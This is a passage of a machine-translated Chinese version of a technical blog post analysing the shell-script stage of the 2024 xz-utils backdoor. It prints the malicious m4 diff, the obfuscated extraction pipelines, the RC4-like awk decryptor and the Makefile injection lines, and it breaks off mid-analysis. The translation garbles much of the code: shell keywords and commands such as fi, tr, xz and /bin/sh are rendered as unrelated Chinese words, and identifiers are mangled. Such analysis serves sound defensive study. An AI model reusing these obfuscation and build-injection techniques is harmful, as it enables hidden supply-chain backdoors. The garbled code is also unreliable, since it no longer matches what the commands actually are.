研究!rsc公司

关于编程的想法和链接,通过

RSS(RSS)

xz攻击shell脚本
发布于2024年4月2日,星期二。
2024年4月3日星期三更新。

介绍

安德烈斯·弗伦德公布了xz攻击的存在2024-03-29向公众发布oss-security@openwall邮件列表。前一天,他向Debian安全部门和(私人)发行版@openwall列表。在他的邮件中,他说他在“观察到过去几周Debian sid安装中liblzma(xz包的一部分)出现了一些奇怪的症状(ssh占用大量CPU登录,valgrind错误)后对此进行了深入研究。”

在较高级别上,攻击分为两部分:一个shell脚本和一个对象文件。配置,它将shell代码注入制作。期间的外壳代码制作将对象文件添加到生成中。本文研究了shell脚本。(另请参见我的日程表帖子.)

如果将恶意对象文件作为邪恶。因此,恶意的shell代码和目标文件都被嵌入、压缩和加密到一些二进制文件中,这些二进制文件被添加为一些新测试的“测试输入”。测试文件目录早在贾坦到来之前就已经存在了,README解释道:“这个目录包含大量文件,用于测试解码器实现中.xz、.lzma(lzma_Alone)和.lz(lzip)文件的处理。许多文件是用十六进制编辑器手工创建的,因此没有更好的“源代码”而不是文件本身。”对于像liblzma这样的解析库来说,这是一个现实。袭击者看起来只是添加一些新的测试文件.

不幸的是,这个邪恶的对象文件有一个错误,导致了Valgrind的问题,因此需要更新测试文件以添加修复。那个承诺解释说:“原始文件是在我的机器上随机本地生成的。为了在将来更好地复制这些文件,使用了一个常量种子来重新创建这些文件。”此时,攻击者意识到他们需要更好的更新机制,因此,新的邪恶脚本包含一个扩展机制,允许它在新的测试文件中查找更新的脚本,这不会像重写现有的脚本那样引起太多关注。

脚本的作用是安排邪恶对象文件的_获取压缩包函数的一部分调用GNU间接功能(ifunc)解析器。一般来说,这些解析器可以在程序执行期间的任何时候延迟调用,但出于安全原因,在动态链接期间(在程序启动的早期)调用所有解析器,然后映射全局偏移表(GOT)和过程链接表(PLT)只读,以防止缓冲区溢出等无法编辑它。但是一个邪恶的ifunc解析器会运行得足够早,以便能够编辑这些表,这正是后门所引入的。然后,解析器在表格中查找RSA_公开_解密用一个邪恶的版本取代它提供正确的SSH证书时运行攻击者代码.

配置

这篇文章再次关注了攻击的脚本方面。像大多数复杂的Unix软件一样,xz-utils使用GNU autoconf来决定如何在特定系统上构建自己。在普通操作中,autoconf读取配置.ac文件并生成配置脚本,可能支持引入的m4文件,以向脚本提供“库”。通常配置脚本及其支持库仅添加到tarball发行版,而不是源存储库。xz发行版也是这样工作的。

攻击开始时,攻击者添加了意外的支持库,m4/建筑到房屋.m4到xz-5.6和xz-5.6.1 tarball分布。与标准相比内置到主机.m4,攻击者进行了以下更改:

diff—git a/build-to-host.m4 b/build--to-host.m4索引ad22a0a。。d5ec315 100644---a/构建到主机.m4+++b/构建到主机.m4@@ -1,5 +1,5 @@-#build-to-host.m4系列3-dnl版权所有(C)2023 Free Software Foundation,Inc。+#build-to-host.m4系列30+dnl版权所有(C)2023-2024 Free Software Foundation,Inc。dnl这个文件是自由软件;自由软件基金会dnl给予复制和/或分发它的无限权限,dnl有无修改,只要保留此通知。@@-37,6+37,7@@AC_DEFUN([gl_BUILD_TO_HOST],dnl定义somedir_c。gl_final_[$1]=“$[$1]”+gl_[$1]_prefix=`echo$gl_am_configmake|sed“s/.*\.//g”`dnl将其从构建语法转换为主机语法。案例“$build_os”cygwin*)@@-58,14+59,40@@AC_DEFUN([gl_BUILD_TO_HOST],如果测试“$[$1]_c_make”=“\”“${gl_final_[$1]}”“\”;然后[$1]_c_make='\“$([$1])\”'fi(菲涅耳)+如果测试“x$glam_configmake”!=“x”;然后+gl_[$1]_config='sed\“r\n\”$gl_am_configmake|eval$gl_path_map|$gl_[#1]_prefix-d 2>/dev/null'+其他+gl_[$1]_config=''+fi(菲涅耳)+_LT_TAGDECL([],[gl_path_map],[2])dnl+_LT_TAGDECL([],[gl_[$1]_prefix],[2])dnl+_LT_TAGDECL([],[gl_am_configmake],[2])dnl+_LT_TAGDECL([],[[1]_c_make],[2])dnl+_LT_TAGDECL([],[gl_[$1]_config],[2])dnlAC_SUBST([$1_c_make])++dnl如果主机转换代码已放置在$gl_config_gt中,+dnl而不是将其重新复制到config.status中,+dnl然后我们将在稍后运行config.status$glconfiggt,因此它+dnl需要知道存储在那里的名称:+AC_CONFIG_COMMANDS([构建到主机],[eval$gl_CONFIG_gt|$SHELL 2>/dev/null],[gl_CONFIG_gt=“eval\$gl_[$1]_CONFIG”])])dnl gl_BUILD_TO_HOST的一些初始化。AC_DEFUN([gl_BUILD_TO_HOST_INIT],[+dnl按顺序搜索Automake-defined pkg*宏+Automake 1.10a+文档中列出的dnl。+gl_am_configmake=`grep-aErls“#{4}[[:alnum:]]{5}#{4{$”$srcdir/2>/dev/null`+如果测试-n“$glamconfigmake”;然后+HAVE_PKG_CONFIGMAKE=1+其他+HAVE_PKG_CONFIGMAKE=0+菲+gl_sed_double_backslashes='s/\\/\\\\/g'gl_sed_escape_doublequotes=s/“/\\”/g'+gl_path_map='tr“\t\-_”“\t\-”'changequote(,)dnlgl_sed_escape_for_make_1=“s,\\([\”&'();<>\\\\`|]\\),\\\\1,g”changequote([,])dnl

总之,这是一组相当合理的差异,以防有人想检查。它颠倒了版本号,更新了版权年份,使之看起来最新,并做出了一些不太奇怪的更改。

仔细看,有点不对劲。从底部开始,

gl_am_configmake=`grep-aErls“#{4}[[:alnum:]]{5}#{4{$”$srcdir/2>/dev/null`如果测试-n“$glamconfigmake”;然后HAVE_PKG_CONFIGMAKE=1其他的HAVE_PKG_CONFIGMAKE=0fi(菲涅耳)

让我们看看发行版中的哪些文件与模式匹配(简化了格雷普命令):

%出口-Rn“####[[:alnum:]][[:alnum:]][[;alnum:]][(:alnum:]][:alnum:]]###$”二进制文件/tests/files/bad-3-corrupt_lzma2.xz匹配%

这太令人惊讶了!所以这个脚本设置gl_am_configmake=/测试/文件/bad-3-损坏_lzma2.xzHAVE_PKG_CONFIGMAKE=1. The全局路径映射设置为土耳其(1)交换制表符和空格以及交换下划线和破折号的命令。

现在阅读脚本顶部,

gl_[$1]_prefix=`echo$gl_am_configmake|sed“s/.*\.//g”`

提取该文件名的最后一个点分隔元素,留下x赫兹也就是说,它是文件名后缀,而不是前缀,它是可能已经安装在任何生成计算机上的压缩命令的名称。

下一部分是:

如果测试“x$glam_configmake”!=“x”;然后gl_[$1]_config='sed\“r\n\”$gl_am_configmake|eval$gl_path_map|$gl_[#1]_prefix-d 2>/dev/null'其他的gl_[$1]_config=''fi(菲涅耳)

我们知道这一点gl_am_configmake=/测试/文件/bad-3-损坏_lzma2.xz,因此这将设置gl_[$1]配置变量转换为字符串

sed“\r\n”$gl_am_configmake|eval$gl_path_map|$gl_[$1]_prefix-d 2>/dev/null

乍一看,特别是在最初引用的形式中sed公司命令看起来与行尾有关,但实际上\r\nsed公司“从文件读取\n个“命令。自文件以来\n个不存在,则该命令根本不执行任何操作,然后由于sed公司尚未使用调用-n个选项,sed公司打印每一行输入。所以sed“\r\n”只是一个模糊命令,记住$gl_path映射信托收据来自前面的命令,以及$gl_[$1]_prefixx赫兹。对于shell,此命令实际上

猫/tests/files/bad-3-corrupt_lzma2.xz | tr“\t\-_”“\t\-”| xz-d

但现在它仍然只是一根绳子;它还没有运行。随着

dnl如果主机转换代码已放置在$gl_config_gt中,dnl而不是将其重新复制到config.status中,dnl然后我们将在稍后运行config.status$glconfiggt,因此它dnl需要知道存储在那里的名称:AC_CONFIG_COMMANDS([构建到主机],[eval$gl_CONFIG_gt|$SHELL 2>/dev/null],[gl_CONFIG_gt=“eval\$gl_[$1]_CONFIG”])

决赛“评估\$gl_[$1]_config”运行该命令。如果我们在xz 5.6.0回购上运行它,我们可以得到:

$猫/tests/files/bad-3-corrupt_lzma2.xz | tr“\t\-_”“\t\-”| xz-d####你好#####··Z·.hj·eval `grep^srcdir=配置状态`如果测试-f..//配置状态;然后评估`grep^srcdir=..//配置状态`srcdir=“../../$srcdir”fi(菲涅耳)导出i=“((head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+724)“;(xz-dc$srcdir/tests/files/good large_compressed.lzma|eval$i|尾部-c+31265|tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”)|xz-F原始--lzma1-dc |/bin/sh####世界####$

我在这里和后面的脚本片段中插入了一些换行符,以避免网页中的行过长。

为什么是Hello and World?测试文件附带的README文本对其进行了描述:

bad-3-corrupt_lzma2.xz中有三个流。第一个流和第三个流是有效的xz流。中间的流具有正确的流标题、块标题、索引和流页脚。只有LZMA2数据已损坏。如果出现以下情况,则应解压缩此文件--单流使用。

第一个流和第三个流是Hello和World,中间的流由于交换了信托收据命令。

回想一下xz 5.6.1附带了不同的“测试”文件,我们还可以尝试xz 5.6.1:

$猫/tests/files/bad-3-corrupt_lzma2.xz | tr“\t\-_”“\t\-”| xz-d####你好#####U美元[!$(uname)=“Linux”]&&退出0[!$(uname)=“Linux”]&&退出0[!$(uname)=“Linux”]&&退出0[!$(uname)=“Linux”]&&退出0[!$(uname)=“Linux”]&&退出0eval `grep^srcdir=配置状态`如果测试-f..//配置状态;然后评估`grep^srcdir=..//配置状态`srcdir=“../../$srcdir”fi(菲涅耳)导出i=“((head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+939)“;(xz-dc$srcdir/tests/files/good large_compressed.lzma|评估$i |尾-c+31233|tr“\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113”“\0-\377”)|xz-F原始--lzma1-dc |/bin/sh####世界####$

第一个区别是,如果不在Linux上运行,脚本会确保(非常肯定!)退出。第二个区别是长“出口i“线在最终头部命令偏移(724对939)中偏移,然后是尾部偏移和信托收据参数。让我们把它们分解。

这个命令打印其输入的前缀。让我们看看开始:

(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&。。。

这将丢弃标准输入的第一个千字节,打印接下来的两千字节,丢弃接下来的千字节并打印接下来的两千字节。等等。5.6.1的整个命令是:

(head-c+1024>/dev/null)&&head-c+2048&&(head-c+1024>/dev/null)&&head-c+2048&&…总计16倍。。。头部-c+939

shell变量设置为此长命令。然后运行脚本:

xz-dc$srcdir/tests/files/good large_compressed.lzma|评估$i|尾部-c+31233|tr“\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113”“\0-\377”|xz-F原始--lzma1-dc|/垃圾桶/桶

第一个x赫兹命令解压缩另一个恶意测试文件。这个评估然后运行流水线,总共提取16×2048+939=33707个字节。然后命令只保留最后的31233字节。这个信托收据命令对输出应用一个简单的替换密码(这样,万一有人想从文件中提取这些特定字节范围,他们就不会将其识别为有效的lzma输入!?)。第二个x赫兹命令将翻译后的字节解码为原始lzma流,然后结果当然通过shell进行管道传输。

跳过shell管道,我们可以运行它,获得一个很长的shell脚本。我在输出的各节之间添加了注释。

$xz-dc$srcdir/tests/files/good large_compressed.lzma|评估$i|尾部-c+31233|tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”|xz-F原始--lzma1-dcP=“-fPIC-DPIC-fno-lto-ffunction-sections-fdata-sections”C=“pic_flag=\”$P\“”O=“^pic_flag=\”-fPIC-DPIC\“$”R=“支持is_arch_extension_supported”x=“__get_cpuid(”p=“good-large_compressed.lzma”U=“bad-3-corrupt_lzma2.xz”

到目前为止,设置环境变量。

[!$(uname)=“Linux”]&&仅退出0#5.6.1

仅在5.6.1中出现的一行,在Linux上不运行时退出。一般来说,5.6.0和5.6.1中的脚本非常相似:5.6.1中添加了一些内容。我们将检查5.6.1脚本,并标记添加内容。这一行是一个试图修复健壮性的错误(由Jakub Wilk指出):=,使该行成为no-op。

评估$zrKcVq

许多奇怪的eval语句中的第一个语句,用于似乎没有在任何地方设置的变量。一种可能性是这些是调试打印:当攻击者调试脚本时,设置,zrKcVq=环境在执行期间插入调试打印。另一种可能性是,这些是扩展点,可以由其他机制设置,在将来在该代码之前运行。

if test-f配置状态;然后评估$zrKcSS评估`grep^LD=\'\/config.status`eval `grep^CC=\'配置状态`eval `grep^GCC=\'配置状态`eval `grep^srcdir=\'配置状态`eval `grep^build=\'x86_64配置状态`eval`grep^enable_shared=\'yes\'配置状态`eval `grep^enable_static=\'配置状态`eval `grep^gl_path_map=\'配置状态`

如果配置状态存在时,我们将从中读取各种变量,以及两个扩展点。注意,在继续输出时,我们仍然在config.status检查中(我们称之为“if#1”)。

#5.6.1中全新vs=`grep-broaF'~!:_W'$srcdir/tests/files/2>/dev/null`如果测试“x$vs”!=“x”>/dev/null 2>&1;然后f1=`echo$vs | cut-d:-f1`如果测试“x$f1”!=“x”>/dev/null 2>&1;然后start=`expr$(echo$vs | cut-d:-f2)+7`ve=`grep-broaF'|_!{-'$srcdir/tests/files/2>/dev/null`如果测试“x$ve”!=“x”>/dev/null 2>&1;然后f2=`echo$ve |切割-d:-f1`如果测试“x$f2”!=“x”>/dev/null 2>&1;然后[!“x$f2”=“x$f1”]&&退出0[!-f$f1]&&退出0end=`expr$(echo$ve | cut-d:-f2)-$start`eval `cat$f1|tail-c+${start}|head-c+${end}|tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”|xz-F原始--lzma2-dc`fi(菲涅耳)fi(菲涅耳)fi(菲涅耳)fi(菲涅耳)

本节在5.6.1中是全新的。它查找包含神奇文本的单个测试文件'~!:_ W’'|_!{ -',提取它们之间的字节,应用替换密码,解压缩结果,并将输出作为shell脚本进行计算。这似乎是一种扩展机制,因此下次需要在此脚本中进行更改时,可以在不同的测试文件中添加新脚本,而无需重新生成现有二进制测试文件的原因.

下一块继续使用5.6.0中的脚本。

评估$zrKccj如果!grep-qs'\[“HAVE_FUNC_ATTRIBUTE_IFUNC”\]=“1”'配置状态>/dev/null 2>&1;然后退出0fi(菲涅耳)如果!grep-qs“define HAVE_FUNC_ATTRIBUTE_IFUNC 1”config.h>/dev/null 2>&1;然后退出0fi(菲涅耳)

两种不同的检查GNU间接功能支持已启用。如果没有,请停止脚本。后门需要此功能。

如果测试“x$enable_shared”!=“xyes”;然后退出0fi(菲涅耳)

需要共享库支持。

如果!(echo“$build”|grep-Eq“^x86_64”>/dev/null 2>&1)&&;然后退出0fi(菲涅耳)

需要x86-64 Linux系统。

如果!grep-qs“$R()”$srcdir/src/liblzma/check/ccr64_fast.c>/dev/null 2>&1;然后退出0fi(菲涅耳)如果!grep-qs“$R()”$srcdir/src/liblzma/check/crc32_fast.c>/dev/null 2>&1;然后退出0fi(菲涅耳)如果!grep-qs“$R”$srcdir/src/liblzma/check/crc_x86_clmul.h>/dev/null 2>&1;然后退出0fi(菲涅耳)如果!grep-qs“$x”$srcdir/src/liblzma/check/crc_x86_clmul.h>/dev/null 2>&1;然后退出0fi(菲涅耳)

需要所有crc ifunc代码(以防它已被修补?)。

如果测试“x$GCC”!='xyes'>/dev/null 2>&1;然后退出0fi(菲涅耳)如果测试“x$CC”!='xgcc'>/dev/null 2>&1;然后退出0fi(菲涅耳)LDv=$LD“-v”如果$LDv 2>&1|grep-qs“GNU ld”>/dev/null 2>&1;然后退出0fi(菲涅耳)

需要gcc(我想不是clang)和GNU ld。

如果!test-f“$srcdir/tests/files/$p”>/dev/null 2>&1;然后退出0fi(菲涅耳)如果!test-f“$srcdir/tests/files/$U”>/dev/null 2>&1;然后退出0fi(菲涅耳)

需要包含后门的测试文件。当然,如果这些文件不存在,那么我们一开始就不清楚是如何获得这个脚本的,但我认为安全性比抱歉要好。

if test-f“$srcdir/debian/rules”||test“x$RPM_ARCH”=“xx86_64”;然后评估$zrKcst

当文件debian/规则存在或美元RPM_ARCH设置为x86_64码注意,我们现在在两个如果语句:配置状态检查上面,还有这个(我们称之为“if#2”)。

j=“^ACLOCAL_M4=\$(top_srcdir)\/alocal.M4”如果!grep-qs“$j”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)z=“^am__uninstall_files\from_dir={”如果!grep-qs“$z”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)w=“^am__install_max=”如果!grep-qs“$w”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)E=$z如果!grep-qs“$E”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)Q=“^am__vpath_adj_setup=”如果!grep-qs“$Q”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)M=“^am__include=包含”如果!grep-qs“$M”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)L=“^all:all-recursive$”如果!grep-qs“$L”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)m=“^LTLIBRARIES=\$(lib_LTLIBRARIES)”如果!grep-qs“$m”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)u=“AM_V_CCLD=\$(AM__V_CCLD_\$(V))”如果!grep-qs“$u”src/liblzma/Makefile>/dev/null 2>&1;然后退出0fi(菲涅耳)

检查一下liblzma/Makefile文件包含稍后用作定位点的所有行,用于将新文本插入Makefile。

如果!grep-qs“$O”libtool>/dev/null 2>&1;然后退出0fi(菲涅耳)

O美元设置在脚本的最开始。这是检查libtool文件(可能在构建过程中生成)是否为PIC(位置无关代码)构建配置编译器。

评估$zrKcTyb=“am__test=$U”

美元也在脚本开始时设置:U=“bad-3-corrupt_lzma2.xz”。真正的工作开始了!

sed-i“/$j/i$b”src/liblzma/Makefile||true

sed-i在这种情况下,运行对输入文件的就地修改liblzma/Makefile文件具体来说,找到AC本地_M4我们早些时候为之奋斗的那条线(/j美元/)并插入am____测试设置自十亿美元(20亿美元).

d=`echo$gl_path_map|sed's/\\\\/\\\\\\/g'`b=“am__strip_prefix=$d”sed-i“/$w/i$b”src/liblzma/Makefile||true

Makefile中带引号的字符串中的Shell引用确实很特别。这将转义tr命令中的反斜杠足够多次,以便在最大安装金额线路($w美元).

b=“am__dist_setup=\$(am__strip_prefix)|xz-d 2>/dev/null|\$(壳牌)”sed-i“/$E/i$b”src/liblzma/Makefile||trueb=“\$(top_srcdir)/tests/files/\$(am__test)”s=“am__test_dir=$b”sed-i“/$Q/i$s”src/liblzma/Makefile||true

添加了更多行。值得停下来看看到目前为止发生了什么。脚本已将这些行添加到src/liblzma/Makefile文件:

am__test=坏-3-损坏_lzma2.xzam__strip_prefix=tr“\\t\\-”“\\t_\-”am__dist_setup=$(am_strip_prefix)|xz-d 2>/dev/null|$(外壳)am__test_dir=$(top_srcdir)/tests/files/$(am__test)


这些看起来似乎有道理,但经过更仔细的检查后会分崩离析:例如,am__test_dir公司是文件,而不是目录。这里的目标似乎是配置已运行,生成生成文件看起来仍然似是而非。在整个生成文件; 没有人会看到它们像在这个显示屏上一样并排出现。回到脚本:

h=“-Wl,--sort section=名称,-X”如果!echo“$LDFLAGS”|grep-qs-e“-z,现在是”-e“-z-Wl,现在是“>/dev/null 2>&1;然后h=$h“,-z,现在”fi(菲涅耳)j=“liblzma_la_LDFLAGS+=$h”sed-i“/$L/i$j”src/liblzma/Makefile||true


添加liblzma_la_LDFLAGS+=-Wl,--sort-section=名称,-X到Makefile。如果LDFLAGS(着陆标志)不要说了-z、 现在-Wl,现在,添加-z、 现在.

-Wl,现在“部队LD_BIND_NOW公司行为,其中动态加载器在程序启动时解析所有符号。通常这样做的一个原因是出于安全考虑:它确保全局偏移表和过程链接表可以在进程启动的早期标记为只读,这样缓冲区溢出或无写后错误就不会针对这些表。然而,它还具有在解析过程中启动时运行GNU间接函数(ifunc)解析器的效果,后门安排从其中一个解析器调用。这个后门设置的早期调用允许它在表仍然可写的情况下运行,从而允许后门替换RSA_公开_解密有自己的版本。但我们正在超越自己。回到脚本:

sed-i“s/$O/$C/g”libtool|| true

我们之前检查过libtool文件说pic_flag=“-fPIC-DPIC”。sed命令将其更改为“read”pic_flag=“-fPIC-DPIC-fno-lto-ffunction-sections-fdata-sections”.

目前尚不清楚为什么这些额外的标志很重要,但一般来说,它们会禁用链接器优化,而这些优化可能会成为欺骗手段。

k=“AM_V_CCLD=@echo-n\$(LTDEPS);\$(AM__V_CCLD_\$(V))”sed-i“s/$u/$k/”src/liblzma/Makefile||truel=“LTDEPS='\$(lib_LTDEPS)';\\\\”\导出top_srcdir='\$(top_srcdir)'\\\\\n个\导出CC=“\$(CC)”\\\\\n个\导出DEFS=“\$(DEFS)”\\\\\n个\export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES')'\\\\\n个\导出包含=“\$(包含)”\\\\\n个\导出liblzma_la_CPPFLAGS=“\$(liblzma _la_CPP FLAGS)”\\\\\n个\export CPPFLAGS=“\$(CPPFLAGS)”\\\\\n个\导出AM_CFLAGS=“\$(AM_CFLAGS)”\\\\\n个\export CFLAGS=“\$(CFLAGS)”\\\\\n个\导出AM_V_CCLD=“\$(AM__V_CCLD_\$(V))”\\\\\n个\导出liblzma_la_LINK=“\$(liblzma _la_LLINK)”\\\\\n个\导出libdir=“\$(libdir)”\\\\\n个\导出liblzma_la_OBJECTS=“\$(liblzma _la_OBJECTS)”\\\\\n个\导出liblzma_la_LIBADD=“\$(liblzma _la_LIBMADD)”\\\\\n个\sed rpath \$(am__test_dir)|\$(am__dist_setup)>/dev/null 2>&1“;sed-i“/$m/i$l”src/liblzma/Makefile || true评估$zrKcHD

壳牌公司的报价仍然不稳定,但我们已经做出了最后的改变。这将添加线条

AM_V_CCLD=@回声-n$(LTDEPS)$(金额__v_CCLD_$(v))

添加到Makefile中的一个位置,然后添加一个长脚本来设置一些变量,这些变量完全是错误的,以

sed rpath$(am_test_dir)|$(am_dist_setup)>/dev/null 2>&1

这个sed rpath命令也是模糊的作为sed“\r\n”是,但-rpath(rpath)是一个非常常见的链接器标志,因此乍一看,您可能不会注意到它位于错误命令的旁边。回顾am____测试以及上面添加的相关管线,该管线最终等效于:

猫/测试/文件/bad-3-损坏_lzma2.xz|tr“\t\-_”“\t\-”|xz-天|/垃圾桶/桶

我们的老朋友!不过,我们知道这有什么作用。它运行的正是我们在这篇文章中正在阅读的脚本。多么递归!

制造商

而不是在配置在tarball根目录中,让我们在脑海中重新执行脚本制作在中利比兹玛目录。在这种情况下,顶部的变量已经设置好了,但我们刚才考虑的所有编辑都被“如果#1”跳过了./config.status(配置状态)。现在让我们继续执行脚本。

fi(菲涅耳)

那个fi(菲涅耳)关闭“if#2”,检查Debian或RPM构建。即将到来的否则如果继续“if#1”,它检查config.status,这意味着现在我们正在执行脚本中在运行期间起作用的部分制作在中利比兹玛目录:

elif(测试-f.libs/liblzma_la-crc64_fast.o)&&(测试-f.libs/liblz ma_la-crc32_fast.o);然后

如果我们看到crc代码的构建对象,我们将作为制作。运行以下代码。

#5.6.1中全新vs='grep-broaF'jV!.^%'$top_srcdir/tests/files/2>/dev/null`如果测试“x$vs”!=“x”>/dev/null 2>&1;然后f1=`echo$vs | cut-d:-f1`如果测试“x$f1”!=“x”>/dev/null 2>&1;然后start=`expr$(echo$vs | cut-d:-f2)+7`ve=“grep-broaF”%。R.1Z'$top_srcdir/tests/files/2>/dev/null`如果测试“x$ve”!=“x”>/dev/null 2>&1;然后f2=`echo$ve |切割-d:-f1`如果测试“x$f2”!=“x”>/dev/null 2>&1;然后[!“x$f2”=“x$f1”]&&退出0[!-f$f1]&&退出0end=`expr$(echo$ve | cut-d:-f2)-$start`eval `cat$f1|tail-c+${start}|head-c+${end}|tr“\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131”“\0-\377”|xz-F原始--lzma2-dc`fi(菲涅耳)fi(菲涅耳)fi(菲涅耳)fi(菲涅耳)

我们从另一个延长钩开始这一部分。这次魔术弦“jV!.^%”'%.R.1Z’。和以前一样,没有包含这些字符串的测试文件。这是为了将来的可扩展性。

关于与5.6.0共享的代码:

评估$zrKcKQ如果!grep-qs“$R()”$top_srcdir/src/liblzma/check/crc64_fast.c;然后退出0fi(菲涅耳)如果!grep-qs“$R()”$top_srcdir/src/liblzma/check/crc32_fast.c;然后退出0fi(菲涅耳)如果!grep-qs“$R”$top_srcdir/src/liblzma/check/crc_x86_clmul.h;然后退出0fi(菲涅耳)如果!grep-qs“$x”$top_srcdir/src/liblzma/check/crc_x86_clmul.h;然后退出0fi(菲涅耳)

检查启用ifunc的CRC源文件是否正确。有趣的是,拉塞·科林改名为crc_cl多。c(c)crc_x86_clmul。小时 2024-01-11。我们必须假设“贾谭”背后的人员或团队在那之前就已经在编写所有这些代码,并且第一个版本已经过检查crc_cl多。c(c)。当拉塞·科林(Lasse Collin)无意中通过清理文件名打破了他们正在开发的后门时,他们可能非常恼火!

如果!grep-qs“$C”..//libtool;然后退出0fi(菲涅耳)如果!echo$liblzma_la_LINK | grep-qs-e“-z,现在是“-e”-z-Wl,现在是”>/dev/null 2>&1;然后退出0fi(菲涅耳)

检查构建配置是否具有我们之前添加的额外标志。

如果echo$liblzma_la_LINK | grep-qs-e“lazy”>/dev/null 2>&1;然后退出0fi(菲涅耳)

检查是否没有人添加懒惰的链接器选项,这可能会覆盖-Wl,现在。(此代码确实需要在它所修补的表被标记为只读之前运行!)

N=0W=0Y=`grep“dnl将其转换为C字符串语法。”$top_srcdir/m4/gettext.m4`评估$zrKcjv如果测试-z“$Y”;然后N=0宽=88664其他的N=88664W=0fi(菲涅耳)

这是根据获取文本.m4。分布式xz tarball中不包含该字符串获取文本.m4(它确实出现在内置到主机.m4),所以格雷普找不到任何东西,Y美元是空字符串如果执行:N=0宽=88792.

xz-dc$top_srcdir/tests/files/$p|eval$i|LC_ALL=C sed“s/\(.\)/\1\n/g”|

我在这里插入了一个换行符。记住“损坏的”测试文件脚本集到大水头管道?它仍然设置在这里,在从该管道提取的脚本中使用。之前,管道提取了33707个字节,然后我们使用最后的31233个字节。现在我们使用的是整个前缀,这可能意味着我们之前跳过了前缀。sed命令在输出的每个字节后插入一个新行,设置管道到命令行的其余部分:

LC_ALL=C awk'开始{FS=“\n”;RS=“\n”;ORS=“”;m=256;对于(i=0;i<m;i++){t[冲刺(“x%c”,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;对于(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m,c[i]=c[j];c[j]=a;}}{v=t[“x”(NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%米;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];打印f“%c”,(v+k)%m}' |

我在这里插入了另一个换行符。这是什么?@推特上的nugexperience认识到了这一点作为一个类似RC4的解密函数,在awk中实现!显然信托收据-基于替换密码的密码在这一步中不够安全。这是5.6.1版本;5.6.0版本与之相同,只是第二个循环计数为4096,而不是8192。

回到脚本:

xz-dc—单流|((head-c+$N>/dev/null 2>&1)&&head-c+$W)>liblzma_la-crc64-fast.o||true

我们终于到达了这条长线的尽头。解密后的输出通过管道通过xz进行解压缩;这个--单流flag表示在第一个xz EOF标记的末尾停止,而不是在标准输入上查找其他文件。这样可以避免读取我们使用命令之前。然后,解压缩的数据通过管道传输到对,提取完整的88792字节输入或零字节,具体取决于获取文本.m4并将其写入liblzma_la-crc64-快速。。在我们的构建中,我们正在接受全部输入。

如果!test-f liblzma_la-crc64-fast.o;然后退出0fi(菲涅耳)

如果一切都失败了,那就安静地停下来。

cp.libs/liblzma_la-crc64_fast.o.libs/liblzma _la-crec64-fast.o||真

等等什么?哦!注意两个不同的文件名crc64 _快速crc64快速。这两个都不是我们刚刚提取的。这些都在.libs文件/,我们提取的文件位于当前目录中。这是将真实文件(带下划线的文件)备份到具有非常相似名称(带连字符的文件)的文件中。

V='#endif\n#if defined(CRC32_GENERIC)&&defined&&定义(CRC_X86_CLMUL)和定义(CRC_USE_IFUNC)和定义的(PIC)&&(已定义(BUILDING_CRC64_CLMUL)外部int _ get_cpuid(int,void*,void x,void,void);\n个静态内联bool_is_arch_extension_supported(void){int success=1;uint32_tr[4];成功=获取cuid(1,&r[0],&r[1],&r[2],&r[3],((char*)__builtin_frame_address(0))-16);常数uint32_t ecx任务=(1<<1)|(1<<9)|(1<<19);返回成功&&(r[2]&ecx_mask)==ecx_misk;}\n个#其他\n#定义_is_arch_extension_supported是_arch_extension_ssupported

这个字符串V美元以“#结尾“,这从来都不是一个好兆头。现在让我们继续往下看,但我们很快就会仔细看看这段文字。

